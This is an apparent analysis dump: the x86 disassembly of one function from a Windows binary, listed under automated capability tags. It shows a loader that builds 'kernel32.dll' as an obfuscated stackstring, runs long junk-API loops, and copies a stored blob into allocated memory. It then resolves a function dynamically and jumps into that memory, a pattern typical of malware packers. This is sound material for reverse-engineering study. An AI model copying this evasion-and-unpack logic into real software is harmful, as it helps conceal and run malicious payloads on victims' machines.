Function at 0x4041c0
Capabilities:
Contain obfuscated stackstrings
Create thread
Query environment variable
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x6b0
cmp dword [0x47f97c], 0x16
push ebx
push ebp
push esi
push edi
jne 0x404261
xor esi, esi
push 0x30
lea eax, [esp + 0x294]
push esi
push eax
mov dword [esp + 0x298], esi
call fcn.00409250
add esp, 0xc
push esi
lea ecx, [esp + 0x290]
push ecx
push 0x403af0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call fcn.00404d23
add esp, 4
push esi
call fcn.00404ce9
add esp, 4
push esi
push esi
push esi
call fcn.004050e5
add esp, 0xc
push esi
push esi
push esi
call fcn.004050e5
add esp, 4
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404bc0
fstp st(0)
push esi
call fcn.00404f0c
add esp, 0xc
mov eax, 0xb2d3b
add dword [0x47f97c], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetBitmapBits]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x405a05
jge 0x4048af
mov dword [esp + 0x6c], 0x17660cd
mov dword [esp + 0x230], 0x3ba0f103
mov dword [esp + 0x188], 0x52d50c04
mov dword [esp + 0xdc], 0x5568df80
mov dword [esp + 0x124], 0x66e7aa9d
mov dword [esp + 0x1a4], 0x3e660372
mov dword [esp + 0x228], 0x43aa62f3
mov dword [esp + 0x108], 0x71023a2d
mov dword [esp + 0x17c], 0x12a3f35c
mov dword [esp + 0x18c], 0x660dbb95
mov dword [esp + 0x64], 0x3d180cff
mov dword [esp + 0x100], 0x33b9ae68
mov dword [esp + 0x148], 0x7b5f8cb5
mov dword [esp + 0xf8], 0x30f08014
mov dword [esp + 0x90], 0x3daac620
mov dword [esp + 0x1b0], 0x13616ecc
mov dword [esp + 0x140], 0x3bb6beb0
mov dword [esp + 0x1b4], 0x5aa37451
mov dword [esp + 0x204], 0x11d4046
mov dword [esp + 0x220], 0x5008718e
mov dword [esp + 0x4c], 0x68561eb4
mov dword [esp + 0x278], 0x1bd02286
mov dword [esp + 0x270], 0x5035acbc
mov dword [esp + 0x138], 0x60ad8bb5
mov dword [esp + 0x130], 0x359c84e2
mov dword [esp + 0x128], 0x241db749
mov dword [esp + 0x234], 0x2361aa33
mov dword [esp + 0xb4], 0x19beeff9
mov dword [esp + 0x180], 0x561c1dfe
mov dword [esp + 0xd4], 0x3f9b3822
mov dword [esp + 0x5c], 0x5b3f6a70
mov dword [esp + 0x120], 0x6060aa65
mov dword [esp + 0x1a8], 0x3581c850
mov dword [esp + 0xf4], 0x4bbce51e
mov dword [esp + 0x84], 0x6d3002df
mov dword [esp + 0x274], 0x705bd586
mov dword [esp + 0x200], 0x64cbef0b
mov dword [esp + 0x144], 0x552a1caf
mov dword [esp + 0x174], 0x41a9b7b9
mov dword [esp + 0xcc], 0x41af21eb
mov dword [esp + 0xf0], 0x5b7889a1
mov dword [esp + 0x88], 0x3a3fb1c3
mov dword [esp + 0x80], 0x63e47cb2
mov dword [esp + 0xe8], 0x3388cb30
mov dword [esp + 0x218], 0x5ff29119
mov dword [esp + 0x23c], 0x2f25774d
mov dword [esp + 0x78], 0x730f68fb
mov dword [esp + 0x1f8], 0x28500a22
mov dword [esp + 0x20c], 0x249189f3
mov dword [esp + 0x268], 0x2cff92eb
mov dword [esp + 0x7c], 0x1fae4863
mov dword [esp + 0x50], 0x56eeb8ab
mov dword [esp + 0xe0], 0x5e3a5a3c
mov dword [esp + 0x25c], 0x49547d76
mov dword [esp + 0x1fc], 0x530105b
mov dword [esp + 0x210], 0x458182e5
mov dword [esp + 0xd8], 0x237da807
mov dword [esp + 0x70], 0x5cbd99b6
mov dword [esp + 0x1a0], 0x6625b6f5
mov dword [esp + 0xd0], 0x6390f7e
mov dword [esp + 0xc8], 0x425f6264
mov dword [esp + 0x178], 0x26d1979a
mov dword [esp + 0x118], 0x7f89be6f
mov dword [esp + 0x280], 0x5032a845
mov dword [esp + 0x16c], 0x3c963eab
mov dword [esp + 0x254], 0x6e745d4c
mov dword [esp + 0xac], 0x40ba2d9a
mov dword [esp + 0xec], 0x3b02ef95
mov dword [esp + 0x184], 0x42f6ce2
mov dword [esp + 0x13c], 0x72d9b955
mov dword [esp + 0x164], 0x7fbd1882
mov dword [esp + 0x11c], 0x2ec79087
mov dword [esp + 0x260], 0x654d731
mov dword [esp + 0x170], 0x747bf4a7
mov dword [esp + 0x244], 0x511d571
mov dword [esp + 0x258], 0x486ff9f1
mov dword [esp + 0x19c], 0x6e2d47e2
mov dword [esp + 0x250], 0x7b871ba9
mov dword [esp + 0x168], 0x3068f3cd
mov dword [esp + 0x1ac], 0x32080af4
mov dword [esp + 0x68], 0x5904023e
mov dword [esp + 0xa4], 0x2112113f
mov dword [esp + 0x60], 0x11c98774
mov dword [esp + 0x15c], 0x3fa0caf9
mov dword [esp + 0x1d4], 0x2cfcb8d9
mov dword [esp + 0x1f4], 0x227d7ca0
mov dword [esp + 0xc0], 0x1c29d52a
mov dword [esp + 0x114], 0x240013f4
mov dword [esp + 0x284], 0x3c669dcb
mov dword [esp + 0x10c], 0x1debbab7
mov dword [esp + 0x160], 0xd9f02f7
mov dword [esp + 0x158], 0x4c2c8868
mov dword [esp + 0x214], 0x390eae36
mov dword [esp + 0xc4], 0x1ace1109
mov dword [esp + 0x154], 0xdd87f78
mov dword [esp + 0x1e4], 0x10a8bbd2
mov dword [esp + 0x74], 0x3d1f2d38
mov dword [esp + 0x21c], 0x88b61c3
mov dword [esp + 0x1bc], 0x27c5ecbe
mov dword [esp + 0x9c], 0x76ff7f1d
mov dword [esp + 0xb8], 0x42e37402
mov dword [esp + 0x134], 0x3102ba28
mov dword [esp + 0x1f0], 0x6baecf20
mov dword [esp + 0x264], 0x268c35
mov dword [esp + 0x12c], 0x30bd8067
mov dword [esp + 0x58], 0x67790aca
mov dword [esp + 0xe4], 0x4dfc13a7
mov dword [esp + 0xb0], 0x2f188a10
mov dword [esp + 0x1cc], 0x4119efb
mov dword [esp + 0xbc], 0x59e81561
mov dword [esp + 0xa8], 0x3c5be40b
mov dword [esp + 0x1dc], 0x4012fdfa
mov dword [esp + 0x104], 0x3ea9f04
mov dword [esp + 0x54], 0x5da429eb
mov dword [esp + 0xa0], 0x19774d96
mov dword [esp + 0x1e8], 0x7ade5bb
mov dword [esp + 0x248], 0x6bb1c5
mov dword [esp + 0x1e0], 0x4360dd66
mov dword [esp + 0x1d8], 0x2c8ad04a
mov dword [esp + 0x198], 0xe756e15
mov dword [esp + 0x1d0], 0x3957528e
mov dword [esp + 0x194], 0x44154a5b
mov dword [esp + 0x240], 0x3212ba0c
mov dword [esp + 0x150], 0x71737d87
mov dword [esp + 0x1c8], 0x7fb4a551
mov dword [esp + 0x208], 0xe91d1dc
mov dword [esp + 0x98], 0x3e9eee18
mov dword [esp + 0x22c], 0x7f86703d
mov dword [esp + 0x238], 0x69f21dbf
mov dword [esp + 0x94], 0x37d009d7
mov dword [esp + 0x288], 0x3e1acf1
mov dword [esp + 0x44], 0x3246e821
mov dword [esp + 0x1c0], 0x77b1bd25
mov dword [esp + 0x110], 0x6c2d29d3
mov dword [esp + 0xfc], 0x19cdb9a2
mov dword [esp + 0x48], 0x689dd0fb
mov dword [esp + 0x190], 0x5469c0dc
mov dword [esp + 0x8c], 0x1e4c398
mov dword [esp + 0x1c4], 0xa4a14be
mov dword [esp + 0x27c], 0x2a41f532
mov dword [esp + 0x224], 0xeeb8952
mov dword [esp + 0x24c], 0x609a7dfc
mov dword [esp + 0x1b8], 0x22409ae5
mov dword [esp + 0x14c], 0x1afe5495
mov dword [esp + 0x26c], 0x7c586487
mov dword [esp + 0x1ec], 0x3665cc47
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x218ddaa
jg 0x4048c4
inc esi
cmp esi, 0x5aec2476
jl 0x404280
mov edx, 0x65
mov eax, 0x6b
mov word [0x4773da], dx
mov word [0x4773d8], ax
mov eax, dword [0x47f97c]
mov edx, 0x33
mov word [0x4773e4], dx
push eax
mov ecx, 0x72
mov edx, 0x6c
push 0
mov dword [0x4773e6], 0x2e0032
mov dword [0x4773de], 0x65006e
mov dword [0x4773ea], 0x6c0064
mov dword [0x4773ee], 0x6c
mov word [0x4773dc], cx
mov word [0x4773e2], dx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x4773d8
mov dword [0x4563ec], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x403ae0
push eax
mov dword [0x4773c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44fe44], eax
mov dword [esp + 0x44], 0x20
add dword [esp + 0x44], 0x20
mov edx, dword [esp + 0x44]
mov eax, dword [0x47f97c]
lea ecx, [esp + 0x48]
push ecx
mov ecx, dword [0x4563ec]
push edx
push eax
push ecx
call dword [0x44fe44]
mov edx, dword [0x42e9c4]
xor esi, esi
mov dword [0x47f980], edx
cmp dword [0x47f97c], esi
jbe 0x4049f7
mov edi, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov eax, dword [0x47f980]
mov dword [esp + 0x44], eax
mov eax, 0xb2d3b
add dword [esp + 0x44], eax
mov ecx, dword [esp + 0x44]
mov dl, byte [ecx + esi]
mov eax, dword [0x4563ec]
mov byte [esi + eax], dl
cmp dword [0x47f97c], 0x44
jne 0x4049ee
lea ecx, [esp + 0x4c]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
call ebp
inc esi
cmp esi, dword [0x47f97c]
jb 0x4049ad
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor esi, esi
mov edx, dword [0x47f97c]
lea eax, [esi + edx]
cmp eax, 0x5e
jne 0x404a51
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
lea ecx, [esp + 0x2c8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
inc esi
cmp esi, 0x40c893
jl 0x404a0b
call fcn.00404120
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x770e
jne 0x404a90
mov dword [esp + 0x44], ebx
add dword [esp + 0x44], 0
mov edx, dword [esp + 0x44]
add dword [0x4563ec], edx
inc esi
cmp esi, 0x286b97d
jl 0x404a70
mov eax, dword [0x4563ec]
mov dword [0x4773cc], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret